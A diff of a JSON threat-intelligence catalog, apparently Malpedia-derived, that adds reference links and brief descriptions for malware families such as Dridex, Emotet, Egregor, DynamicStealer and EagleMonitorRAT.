-16189,6 +19424,7 @@ "https://www.govcert.admin.ch/blog/28/the-rise-of-dridex-and-the-role-of-esps", "https://krebsonsecurity.com/2019/12/inside-evil-corp-a-100m-cybercrime-menace/", "https://blog.morphisec.com/obfuscated-vbscript-drops-zloader-ursnif-qakbot-dridex", + "https://www.cert.pl/en/news/single/talking-dridex-part-0-inside-the-dropper/", "https://viql.github.io/dridex/", "https://us-cert.cisa.gov/ncas/alerts/aa20-345a", "https://blog.trendmicro.com/trendlabs-security-intelligence/ursnif-emotet-dridex-and-bitpaymer-gangs-linked-by-a-similar-loader/", @@ -16201,6 +19437,7 @@ "https://www.proofpoint.com/us/blog/security-briefs/threat-actors-pair-tax-themed-lures-covid-19-healthcare-themes", "https://thedfirreport.com/2020/08/03/dridex-from-word-to-domain-dominance/", "https://www.youtube.com/watch?v=1VB15_HgUkg", + "https://assets.sentinelone.com/sentinellabs/sentinellabs_EvilCorp", "https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/", "https://www.intel471.com/blog/cybercrime-russia-china-iran-nation-state", "https://www.virusbulletin.com/virusbulletin/2020/01/vb2019-paper-rich-headers-leveraging-mysterious-artifact-pe-format/", @@ -16214,49 +19451,62 @@ "https://isc.sans.edu/forums/diary/Recent+Dridex+activity/26550/", "http://www.secureworks.com/research/threat-profiles/gold-heron", "https://www.deepinstinct.com/2021/05/26/deep-dive-packing-software-cryptone/", + "https://intel471.com/blog/privateloader-malware", "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-009.pdf", + "https://www.sentinelone.com/labs/sanctions-be-damned-from-dridex-to-macaw-the-evolution-of-evil-corp/", "https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html", "https://votiro.com/blog/anatomy-of-a-well-crafted-ups-fedex-and-dhl-phishing-email-during-covid-19/", "https://adalogics.com/blog/the-state-of-advanced-code-injections", "https://research.checkpoint.com/2021/stopping-serial-killer-catching-the-next-strike/", "https://cdn2.hubspot.net/hubfs/507516/ANB_MIR_Dridex_PRv7_final.pdf", - "https://www.cert.pl/en/news/single/talking-dridex-part-0-inside-the-dropper/", + "https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf", + "https://yoroi.company/research/office-documents-may-the-xll-technique-change-the-threat-landscape-in-2022/", "https://news.sophos.com/en-us/2020/02/18/nearly-a-quarter-of-malware-now-communicates-using-tls/", + "https://www.deepinstinct.com/blog/types-of-dropper-malware-in-microsoft-office", "https://threatresearch.ext.hp.com/detecting-ta551-domains/", + "https://go.recordedfuture.com/hubfs/reports/cta-2022-0118.pdf", "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", "https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", "https://www.flashpoint-intel.com/blog-dridex-banking-trojan-returns/", "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf", "https://news.sophos.com/en-us/2021/04/21/nearly-half-of-malware-now-use-tls-to-conceal-communications/", "https://www.pandasecurity.com/mediacenter/src/uploads/2017/10/Informe_Dridex_Revisado_FINAL_EN-2.pdf", + "https://malcat.fr/blog/cutting-corners-against-a-dridex-downloader/", + "https://cyber-anubis.github.io/malware%20analysis/dridex/", "https://medium.com/walmartglobaltech/wastedloader-or-dridexloader-4f47c9b3ae77", "https://www.crowdstrike.com/blog/doppelpaymer-ransomware-and-dridex-2/", "https://www.cert.ssi.gouv.fr/ioc/CERTFR-2020-IOC-003/", + "https://www.sentinelone.com/wp-content/uploads/2022/02/S1_-SentinelLabs_SanctionsBeDamned_final_02.pdf", "https://intezer.com/blog/intezer-analyze/fantastic-payloads-and-where-we-find-them", "https://resource.redcanary.com/rs/003-YRU-314/images/2021-Threat-Detection-Report.pdf", "https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", "https://blogs.blackberry.com/en/2021/08/blackberry-prevents-threat-actor-group-ta575-and-dridex-malware", "https://reaqta.com/2020/06/dridex-the-secret-in-a-postmessage/", - "https://www.welivesecurity.com/2018/01/26/friedex-bitpaymer-ransomware-work-dridex-authors/", - "https://www.appgate.com/blog/reverse-engineering-dridex-and-automating-ioc-extraction", "https://www.secureworks.com/research/dridex-bugat-v5-botnet-takeover-operation", + "https://community.riskiq.com/article/2cd1c003", + "https://www.appgate.com/blog/reverse-engineering-dridex-and-automating-ioc-extraction", "https://www.sophos.com/en-us/medialibrary/pdfs/technical-papers/sophos-2021-threat-report.pdf", - "https://medium.com/s2wlab/operation-synctrek-e5013df8d167", + "https://twitter.com/felixw3000/status/1382614469713530883?s=20", "https://en.wikipedia.org/wiki/Maksim_Yakubets", "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/log4j-vulnerabilities-attacks", "https://www.blueliv.com/downloads/documentation/reports/Network_insights_of_Dyre_and_Dridex_Trojan_bankers.pdf", "https://blogs.vmware.com/networkvirtualization/2021/03/analysis-of-a-new-dridex-campaign.html/", "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", "https://www.secureworks.com/research/threat-profiles/gold-drake", "https://malwarebookreports.com/cryptone-cobalt-strike/", "https://www.microsoft.com/security/blog/2021/02/01/what-tracking-an-attacker-email-infrastructure-tells-us-about-persistent-cybercriminal-operations/", + "https://go.recordedfuture.com/hubfs/reports/cta-2021-1112.pdf", "https://www.f5.com/labs/articles/education/banking-trojans-a-reference-guide-to-the-malware-family-tree", "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/dridex-financial-trojan.pdf", + "https://community.riskiq.com/article/e4fb7245", "https://securelist.com/analysis/publications/78531/dridex-a-history-of-evolution/", "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", + "https://unit42.paloaltonetworks.com/excel-add-ins-dridex-infection-chain", "https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/", + "https://www.atomicmatryoshka.com/post/malware-headliners-dridex", "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-010.pdf", - "https://twitter.com/felixw3000/status/1382614469713530883?s=20" + "https://medium.com/s2wlab/operation-synctrek-e5013df8d167" ], "synonyms": [], "type": [] @@ -16269,10 +19519,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.driftpin", - "https://www.secureworks.com/research/threat-profiles/gold-niagara", "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s05-att&cking-fin7.pdf", + "https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf", "https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html", - "https://www.welivesecurity.com/2015/09/08/carbanak-gang-is-back-and-packing-new-guns/" + "https://www.welivesecurity.com/2015/09/08/carbanak-gang-is-back-and-packing-new-guns/", + "https://www.secureworks.com/research/threat-profiles/gold-niagara" ], "synonyms": [ "Spy.Agent.ORM", @@ -16318,7 +19569,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.dropbook", - "https://www.cybereason.com/blog/new-malware-arsenal-abusing-cloud-platforms-in-middle-east-espionage-campaign" + "https://www.cybereason.com/blog/new-malware-arsenal-abusing-cloud-platforms-in-middle-east-espionage-campaign", + "https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf" ], "synonyms": [], "type": [] @@ -16492,6 +19744,19 @@ "uuid": "8420653b-1412-45a1-9a2d-6aa9b9eaf906", "value": "DYEPACK" }, + { + "description": "Dynamic Stealer is a Github Project C# written code by L1ghtN4n. This code collects passwords and uploads these to Telegram. According to Cyble this Eternity Stealer leverages code from this project and also Jester Stealer could be rebranded from it.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.dynamicstealer", + "https://blog.cyble.com/2022/05/12/a-closer-look-at-eternity-malware/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "b8b7b6e3-eef1-43cb-a251-e20a3e57d75e", + "value": "DynamicStealer" + }, { "description": "", "meta": { @@ -16519,6 +19784,19 @@ "uuid": "1ecbcd20-f238-47ef-874b-08ef93266395", "value": "Dyre" }, + { + "description": "This RAT written in C# was derived from HorusEyesRat. It was modified by \"Arsium\" and published on GitHub. There is also a client builder included.\r\nGithub Source: https://github.com/arsium/EagleMonitorRAT", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.eagle_monitor_rat", + "https://blog.cyble.com/2022/04/18/under-the-lens-eagle-monitor-rat/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "c2839018-3e2a-44ac-9ad6-60dbc0973918", + "value": "EagleMonitorRAT" + }, { "description": "FireEye describes EASYNIGHT is a loader observed used with several malware families, including HIGHNOON and HIGHNOON.LITE. The loader often acts as a persistence mechanism via search order hijacking.\r\n\r\nExamples include a patched bcrypt.dll with no other modification than an additional import entry, in the observed case \"printwin.dll!gzwrite64\" (breaking the file signature).", "meta": { @@ -16553,17 +19831,19 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.egregor", "https://www.bleepingcomputer.com/news/security/darkside-ransomware-made-90-million-in-just-nine-months/", + "https://www.huntandhackett.com/blog/advanced-ip-scanner-the-preferred-scanner-in-the-apt-toolbox", "https://blog.talosintelligence.com/2021/03/ctir-trends-winter-2020-21.html", "https://www.cert.ssi.gouv.fr/cti/CERTFR-2021-CTI-007/", "https://www.intrinsec.com/egregor-prolock/", + "https://www.cert.ssi.gouv.fr/cti/CERTFR-2021-CTI-009/", "https://www.trendmicro.com/en_us/research/20/l/egregor-ransomware-launches-string-of-high-profile-attacks-to-en.html", "https://www.coveware.com/blog/ransomware-attack-vectors-shift-as-new-software-vulnerability-exploits-abound", "https://www.accenture.com/us-en/blogs/cyber-defense/evolving-danger-ransomware-extortion", "https://www.fireeye.com/blog/threat-research/2021/02/melting-unc2198-icedid-to-ransomware-operations.html", "https://blog.emsisoft.com/en/37810/ransomware-profile-egregor/", "https://labs.sentinelone.com/egregor-raas-continues-the-chaos-with-cobalt-strike-and-rclone/", - "https://www.zdnet.com/article/ubisoft-crytek-data-posted-on-ransomware-gangs-site/", - "https://twitter.com/redcanary/status/1334224861628039169", + "https://blog.bushidotoken.net/2022/05/gamer-cheater-hacker-spy.html", + "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", "https://intel471.com/blog/egregor-arrests-ukraine-sbu-maze-ransomware", "https://areteir.com/wp-content/uploads/2021/01/01182021_Egregor_Insight.pdf", "https://blog.chainalysis.com/reports/ransomware-connections-maze-egregor-suncrypt-doppelpaymer", @@ -16572,8 +19852,10 @@ "https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/", "https://www.bleepingcomputer.com/news/security/lockbit-ransomware-now-encrypts-windows-domains-using-group-policies/", "https://unit42.paloaltonetworks.com/egregor-ransomware-courses-of-action/", + "https://securityaffairs.co/wordpress/127826/malware/egregor-sekhmet-decryption-keys.html", "https://web.archive.org/web/20201207094648/https://go.group-ib.com/rs/689-LRE-818/images/Group-IB_Egregor_Ransomware.pdf", "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", + "https://www.bleepingcomputer.com/news/security/ransomware-dev-releases-egregor-maze-master-decryption-keys/", "https://www.bleepingcomputer.com/news/security/barnes-and-noble-hit-by-egregor-ransomware-strange-data-leaked/", "https://blog.malwarebytes.com/ransomware/2020/12/threat-profile-egregor-ransomware-is-making-a-name-for-itself/", "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", @@ -16584,6 +19866,7 @@ "https://blog.minerva-labs.com/egregor-ransomware-an-in-depth-analysis", "https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/", "https://news.sophos.com/en-us/2020/12/08/egregor-ransomware-mazes-heir-apparent/", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-009.pdf", "https://www.bleepingcomputer.com/news/security/metro-vancouvers-transit-system-hit-by-egregor-ransomware/", "https://www.hornetsecurity.com/en/threat-research/qakbot-reducing-its-on-disk-artifacts/", "https://www.bleepingcomputer.com/news/security/translink-confirms-ransomware-data-theft-still-restoring-systems/", @@ -16595,18 +19878,21 @@ "https://public.intel471.com/blog/ransomware-as-a-service-2020-ryuk-maze-revil-egregor-doppelpaymer/", "https://www.cybereason.com/blog/cybereason-vs-egregor-ransomware", "https://assets.documentcloud.org/documents/20444693/fbi-pin-egregor-ransomware-bc-01062021.pdf", - "https://securityboulevard.com/2020/10/egregor-sekhmets-cousin/", + "https://analyst1.com/blog/ransom-mafia-analysis-of-the-worlds-first-ransomware-cartel", "https://therecord.media/frances-lead-cybercrime-investigator-on-the-egregor-arrests-cybercrime/", "https://www.appgate.com/news-press/appgate-labs-analyzes-new-family-of-ransomware-egregor", + "https://twitter.com/redcanary/status/1334224861628039169", "https://www.morphisec.com/hubfs/eBooks_and_Whitepapers/EGREGOR%20REPORT%20WEB%20FINAL.pdf", "https://www.domaintools.com/resources/blog/the-most-prolific-ransomware-families-a-defenders-guide", "https://www.bleepingcomputer.com/news/security/largest-global-staffing-agency-randstad-hit-by-egregor-ransomware/", "https://www.proofpoint.com/us/blog/threat-insight/first-step-initial-access-leads-ransomware", "https://go.recordedfuture.com/hubfs/reports/cta-2020-1203.pdf", "https://securelist.com/targeted-ransomware-encrypting-data/99255/", + "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", "https://www.bleepingcomputer.com/news/security/kmart-nationwide-retailer-suffers-a-ransomware-attack/", "https://analyst1.com/file-assets/RANSOM-MAFIA-ANALYSIS-OF-THE-WORLD%E2%80%99S-FIRST-RANSOMWARE-CARTEL.pdf", - "https://analyst1.com/blog/ransom-mafia-analysis-of-the-worlds-first-ransomware-cartel", + "https://www.zdnet.com/article/ubisoft-crytek-data-posted-on-ransomware-gangs-site/", + "https://securityboulevard.com/2020/10/egregor-sekhmets-cousin/", "https://www.bleepingcomputer.com/news/security/maze-ransomware-is-shutting-down-its-cybercrime-operation/", "https://www.bleepingcomputer.com/news/security/crytek-confirms-egregor-ransomware-attack-customer-data-theft/", "https://therecord.media/ransomwhere-project-wants-to-create-a-database-of-past-ransomware-payments/" @@ -16695,6 +19981,19 @@ "uuid": "3477a25d-e04b-475e-8330-39f66c10cc01", "value": "Elise" }, + { + "description": "This dropper masquerades itself as Adobe software, titled as Adobe.msi. It is used to executes the python written Backdoor used by this threat actor.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.elmachete_dropper_2022", + "https://research.checkpoint.com/2022/state-sponsored-attack-groups-capitalise-on-russia-ukraine-war-for-cyber-espionage/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "66b8cbdc-6190-4568-b615-0ae8a51d2148", + "value": "El Machete APT Backdoor Dropper" + }, { "description": "ELMER is a non-persistent proxy-aware HTTP backdoor written in Delphi, and is capable of performing file uploads and downloads, file execution, and process and directory listings. To retrieve commands, ELMER sends HTTP GET requests to a hard-coded CnC server, and parses the HTTP response packets received from the CnC server for an integer string corresponding to the command that needs to be executed.", "meta": { @@ -16745,57 +20044,87 @@ "value": "Emissary" }, { - "description": "While Emotet historically was a banking malware organized in a botnet, nowadays Emotet is mostly seen as infrastructure as a service for content delivery. For example, since mid 2018 it is used by Trickbot for installs, which may also lead to ransomware attacks using Ryuk, a combination observed several times against high-profile targets.\r\nIt is always stealing information from victims but what the criminal gang behind it did, was to open up another business channel by selling their infrastructure delivering additional malicious software. From malware analysts it has been classified into epochs depending on command and control, payloads, and delivery solutions which change over time.\r\nEmotet has been taken down in January 2021.", + "description": "While Emotet historically was a banking malware organized in a botnet, nowadays Emotet is mostly seen as infrastructure as a service for content delivery. For example, since mid 2018 it is used by Trickbot for installs, which may also lead to ransomware attacks using Ryuk, a combination observed several times against high-profile targets.\r\nIt is always stealing information from victims but what the criminal gang behind it did, was to open up another business channel by selling their infrastructure delivering additional malicious software. From malware analysts it has been classified into epochs depending on command and control, payloads, and delivery solutions which change over time.\r\nEmotet had been taken down by authorities in January 2021, though it appears to have sprung back to life in November 2021.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.emotet", + "https://threatconnect.com/blog/threatconnect-research-roundup-probable-sandworm-infrastructure", + "https://www.youtube.com/watch?v=AkZ5TYBqcU4", "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", + "https://www.spamhaus.com/custom-content/uploads/2021/04/Botnet-update-Q1-2021.pdf", "https://www.youtube.com/watch?v=q8of74upT_g", + "https://www.hornetsecurity.com/en/threat-research/comeback-emotet/", + "https://www.netskope.com/blog/emotet-still-abusing-microsoft-office-macros", "https://team-cymru.com/blog/2021/01/27/taking-down-emotet/", "https://hello.global.ntt/en-us/insights/blog/behind-the-scenes-of-the-emotet-infrastructure", "https://www.proofpoint.com/us/blog/threat-insight/geofenced-amazon-japan-credential-phishing-volumes-rival-emotet", + "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", + "https://forensicitguy.github.io/shortcut-to-emotet-ttp-change/", "https://blog.vincss.net/2021/01/re019-from-a-to-x-analyzing-some-real-cases-which-used-recent-Emotet-samples.html", + "https://www.netskope.com/blog/emotet-new-delivery-mechanism-to-bypass-vba-protection", + "https://www.atomicmatryoshka.com/post/malware-headliners-emotet", "https://www.bsi.bund.de/SharedDocs/Downloads/DE/BSI/Publikationen/Lageberichte/Lagebericht2020.pdf?__blob=publicationFile&v=2", "https://www.jpcert.or.jp/english/at/2019/at190044.html", + "https://blog.prevailion.com/wizard-spider-continues-to-confound-4298370f6903", "https://www.binarydefense.com/emotet-evolves-with-new-wi-fi-spreader/", - "https://www.zeit.de/digital/2021-06/cybercrime-extortion-internet-spyware-ransomware-police-prosecution-hackers", + "https://web.archive.org/web/20211223100528/https://cloudsek.com/emotet-2-0-everything-you-need-to-know-about-the-new-variant-of-thbanking-trojan/", "https://www.proofpoint.com/us/threat-insight/post/holiday-lull-not-so-much", "https://twitter.com/raashidbhatt/status/1237853549200936960", + "https://www.fortinet.com/blog/threat-research/ms-office-files-involved-again-in-recent-emotet-trojan-campaign-part-ii", "https://www.us-cert.gov/ncas/alerts/TA18-201A", "https://cdn.www.carbonblack.com/wp-content/uploads/2020/05/VMWCB-Report-Modern-Bank-Heists-2020.pdf", "https://hello.global.ntt/en-us/insights/blog/shellbot-victim-overlap-with-emotet-network-infrastructure", + "https://www.zscaler.com/blogs/security-research/return-emotet-malware", "https://www.heise.de/security/artikel/Emotet-Trickbot-Ryuk-ein-explosiver-Malware-Cocktail-4573848.html", "https://blog.kryptoslogic.com/malware/2018/10/31/emotet-email-theft.html", "https://blog.talosintelligence.com/2020/12/2020-year-in-malware.html", "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_4_ogawa-niseki_en.pdf", + "https://www.inde.nz/blog/analysis-of-the-latest-wave-of-emotet-malicious-documents", + "https://www.youtube.com/watch?v=_BLOmClsSpc", "https://therecord.media/over-780000-email-accounts-compromised-by-emotet-have-been-secured/", - "https://www.spamhaus.com/custom-content/uploads/2021/04/Botnet-update-Q1-2021.pdf", - "https://www.proofpoint.com/us/blog/threat-insight/comprehensive-look-emotets-summer-2020-return", + "https://blogs.vmware.com/security/2022/03/emotet-c2-configuration-extraction-and-analysis.html", + "https://notes.netbytesec.com/2021/02/deobfuscating-emotet-macro-and.html", + "https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/docs/vmwcb-report-modern-bank-heists-2020.pdf", + "https://muha2xmad.github.io/unpacking/emotet-part-1/", + "https://resource.redcanary.com/rs/003-YRU-314/images/2021-Threat-Detection-Report.pdf", + "https://blog.lumen.com/emotet-redux/", + "https://content.secureworks.com/-/media/Files/US/Reports/Monthly%20Threat%20Intelligence/Secureworks_ECO1_ThreatIntelligenceExecutiveReport2022Vol2.ashx", "https://www.zdnet.com/article/meet-the-white-hat-group-fighting-emotet-the-worlds-most-dangerous-malware/", "https://www.secureworks.com/research/threat-profiles/gold-crestwood", + "https://www.trendmicro.com/en_us/research/22/e/bruised-but-not-broken--the-resurgence-of-the-emotet-botnet-malw.html", "https://cert-agid.gov.it/news/malware/semplificare-lanalisi-di-emotet-con-python-e-iced-x86/", + "https://news.sophos.com/en-us/2022/05/04/attacking-emotets-control-flow-flattening/", + "https://unit42.paloaltonetworks.com/emotet-malware-summary-epoch-4-5/", "https://jsac.jpcert.or.jp/archive/2021/pdf/JSAC2021_workshop_malware-analysis_jp.pdf", + "https://www.welivesecurity.com/2022/06/16/how-emotet-is-changing-tactics-microsoft-tightening-office-macro-security/", "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-008.pdf", - "https://threatconnect.com/blog/threatconnect-research-roundup-probable-sandworm-infrastructure", + "https://blogs.vmware.com/networkvirtualization/2022/02/emotet-is-not-dead-yet-part-2.html/", "https://www.youtube.com/watch?v=5_-oR_135ss", "https://www.digitalshadows.com/blog-and-research/emotet-disruption/", "https://www.deepinstinct.com/2020/08/12/why-emotets-latest-wave-is-harder-to-catch-than-ever-before/", - "https://www.youtube.com/watch?v=_BLOmClsSpc", + "https://www.kroll.com/en/insights/publications/cyber/monitor/emotet-analysis-new-lnk-in-the-infection-chain", + "https://twitter.com/Cryptolaemus1/status/1516535343281025032", + "https://threatresearch.ext.hp.com/emotets-return-whats-different/", "https://unit42.paloaltonetworks.com/c2-traffic/", "https://int0xcc.svbtle.com/dissecting-emotet-s-network-communication-protocol", "https://paste.cryptolaemus.com", "https://blog.virustotal.com/2020/11/using-similarity-to-expand-context-and.html", - "https://www.politie.nl/nieuws/2021/februari/17/politie-bestrijdt-cybercrime-via-nederlandse-infrastructuur.html", - "https://www.slideshare.net/codeblue_jp/cb19-cyber-threat-landscape-in-japan-revealing-threat-in-the-shadow-by-chi-en-shen-ashley-oleg-bondarenko", + "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-110A_Joint_CSA_Russian_State-Sponsored_and_Criminal_Cyber_Threats_to_Critical_Infrastructure_4_20_22_Final.pdf", + "https://blog.malwarebytes.com/threat-intelligence/2021/11/trickbot-helps-emotet-come-back-from-the-dead/", + "https://www.bleepingcomputer.com/news/security/emotet-now-drops-cobalt-strike-fast-forwards-ransomware-attacks/", "https://www.picussecurity.com/blog/emotet-technical-analysis-part-1-reveal-the-evil-code", + "https://forensicitguy.github.io/emotet-excel4-macro-analysis/", "https://blog.trendmicro.com/trendlabs-security-intelligence/exploring-emotet-examining-emotets-activities-infrastructure/", + "https://kienmanowar.wordpress.com/2022/01/23/quicknote-emotet-epoch4-epoch5-tactics/", "https://www.gdata.de/blog/2017/10/30110-emotet-beutet-outlook-aus", "https://malfind.com/index.php/2018/07/23/deobfuscating-emotets-powershell-payload/", "https://www.hornetsecurity.com/en/threat-research/emotet-botnet-takedown/", - "https://medium.com/@0xd0cf11e/analyzing-emotet-with-ghidra-part-1-4da71a5c8d69", + "https://marcoramilli.com/2019/10/14/is-emotet-gang-targeting-companies-with-external-soc/", "https://www.lac.co.jp/lacwatch/people/20201106_002321.html", "https://blog.trendmicro.com/trendlabs-security-intelligence/ursnif-emotet-dridex-and-bitpaymer-gangs-linked-by-a-similar-loader/", - "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", + "https://www.bleepingcomputer.com/news/security/emotet-malware-now-installs-via-powershell-in-windows-shortcut-files/", + "https://unit42.paloaltonetworks.com/wireshark-tutorial-emotet-infection/", + "https://www.bitsight.com/blog/emotet-botnet-rises-again", "https://blog.talosintelligence.com/2020/11/emotet-2020.html", "https://resources.malwarebytes.com/files/2020/02/2020_State-of-Malware-Report.pdf", "https://atr-blog.gigamon.com/2020/01/13/emotet-not-your-run-of-the-mill-malware/", @@ -16803,57 +20132,93 @@ "https://www.hornetsecurity.com/en/security-information/emotet-is-back/", "https://www.proofpoint.com/us/blog/threat-insight/emotet-makes-timely-adoption-political-and-elections-lures", "https://www.tagesschau.de/investigativ/br-recherche/emotet-schadsoftware-103.html", + "https://www.cert.pl/en/news/single/analysis-of-emotet-v4/", + "https://www.politie.nl/nieuws/2021/februari/17/politie-bestrijdt-cybercrime-via-nederlandse-infrastructuur.html", "https://news.sophos.com/en-us/2020/07/28/emotets-return-is-the-canary-in-the-coal-mine/?cmp=30728", "https://www.cert.govt.nz/it-specialists/advisories/emotet-malware-being-spread-via-email/", "https://exchange.xforce.ibmcloud.com/collection/18f373debc38779065a26f1958dc260b", + "https://threatpost.com/emotet-spreading-malicious-excel-files/178444/", "https://unit42.paloaltonetworks.com/emotet-command-and-control/", "https://www.hornetsecurity.com/en/security-information/awaiting-the-inevitable-return-of-emotet/", + "https://www.youtube.com/watch?v=8PHCZdpNKrw", "https://www.bka.de/DE/Presse/Listenseite_Pressemitteilungen/2021/Presse2021/210127_pmEmotet.html", "https://medium.com/brim-securitys-knowledge-funnel/hunting-emotet-with-brim-and-zeek-1000c2f5c1ff", "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", "https://www.spamhaus.org/news/article/783/emotet-adds-a-further-layer-of-camouflage", + "https://www.zscaler.com/blogs/research/emotet-back-action-after-short-break", + "https://www.trendmicro.com/en_us/research/22/c/cyberattacks-are-prominent-in-the-russia-ukraine-conflict.html", "https://www.bleepingcomputer.com/news/security/united-nations-targeted-with-emotet-malware-phishing-attack/", + "https://blog.cyble.com/2022/04/27/emotet-returns-with-new-ttps-and-delivers-lnk-files-to-its-victims/", "https://www.seqrite.com/blog/the-return-of-the-emotet-as-the-world-unlocks/", + "https://cyber.wtf/2022/03/23/what-the-packer/", "https://blog.trendmicro.com/trendlabs-security-intelligence/new-emotet-hijacks-windows-api-evades-sandbox-analysis/", "http://blog.fortinet.com/2017/05/03/deep-analysis-of-new-emotet-variant-part-1", - "https://www.justice.gov/opa/pr/emotet-botnet-disrupted-international-cyber-operation", + "https://www.cynet.com/attack-techniques-hands-on/new-wave-of-emotet-when-project-x-turns-into-y/", "https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/", "https://www.intezer.com/mitigating-emotet-the-most-common-banking-trojan/", - "https://www.youtube.com/watch?v=8PHCZdpNKrw", + "https://isc.sans.edu/forums/diary/Emotet+Stops+Using+0000+in+Spambot+Traffic/28270/", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-hive-conti-avoslocker", + "https://threatresearch.ext.hp.com/wp-content/uploads/2022/05/HP-Wolf-Security-Threat-Insights-Report-Q1-2022.pdf", + "https://www.proofpoint.com/us/blog/threat-insight/emotet-tests-new-delivery-techniques", + "https://isc.sans.edu/diary/28044", + "https://www.trendmicro.com/en_us/research/22/a/emotet-spam-abuses-unconventional-ip-address-formats-spread-malware.html", "https://www.govcert.admin.ch/blog/36/severe-ransomware-attacks-against-swiss-smes", "https://www.cert.ssi.gouv.fr/alerte/CERTFR-2020-ALE-019/", "https://www.bitdefender.com/files/News/CaseStudies/study/377/Bitdefender-Whitepaper-WMI-creat4871-en-EN-GenericUse.pdf", "https://www.hornetsecurity.com/en/security-information/emotet-update-increases-downloads/", + "https://www.zscaler.com/blogs/security-research/return-emotet-malware-analysis", "https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-february-mummy-spider/", "https://github.com/mauronz/binja-emotet", + "https://www.deepinstinct.com/blog/types-of-dropper-malware-in-microsoft-office", + "https://www.esentire.com/security-advisories/emotet-activity-identified", "https://www.cert.pl/en/news/single/whats-up-emotet/", + "https://securelist.com/emotet-modules-and-recent-attacks/106290/", "https://threatresearch.ext.hp.com/wp-content/uploads/2021/03/HP_Bromium_Threat_Insights_Report_Q4_2020.pdf", - "https://persianov.net/emotet-malware-analysis-part-1", + "https://blogs.vmware.com/security/2022/05/emotet-moves-to-64-bit-and-updates-its-loader.html", + "https://intezer.com/blog/intezer-analyze/fantastic-payloads-and-where-we-find-them", "https://persianov.net/emotet-malware-analysis-part-2", "https://mirshadx.wordpress.com/2020/11/22/analyzing-an-emotet-dropper-and-writing-a-python-script-to-statically-unpack-payload/", + "https://intel471.com/blog/conti-emotet-ransomware-conti-leaks", + "https://twitter.com/ContiLeaks/status/1498614197202079745", "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", + "https://www.justice.gov/opa/pr/emotet-botnet-disrupted-international-cyber-operation", "https://www.deepinstinct.com/2021/05/26/deep-dive-packing-software-cryptone/", "https://www.spamtitan.com/blog/emotet-malware-revives-old-email-conversations-threads-to-increase-infection-rates/", + "https://www.zeit.de/digital/2021-06/cybercrime-extortion-internet-spyware-ransomware-police-prosecution-hackers", "https://gallery.mailchimp.com/c35aef82661dad887b8162a4f/files/e24e8206-a157-4796-a8cb-2b7262cc76e8/CSIS_Threat_Matrix_H1_2019.pdf", - "https://marcoramilli.com/2019/10/14/is-emotet-gang-targeting-companies-with-external-soc/", + "https://medium.com/@0xd0cf11e/analyzing-emotet-with-ghidra-part-1-4da71a5c8d69", + "https://www.cisa.gov/uscert/ncas/alerts/aa22-110a", "https://www.symantec.com/blogs/threat-intelligence/evolution-emotet-trojan-distributor", 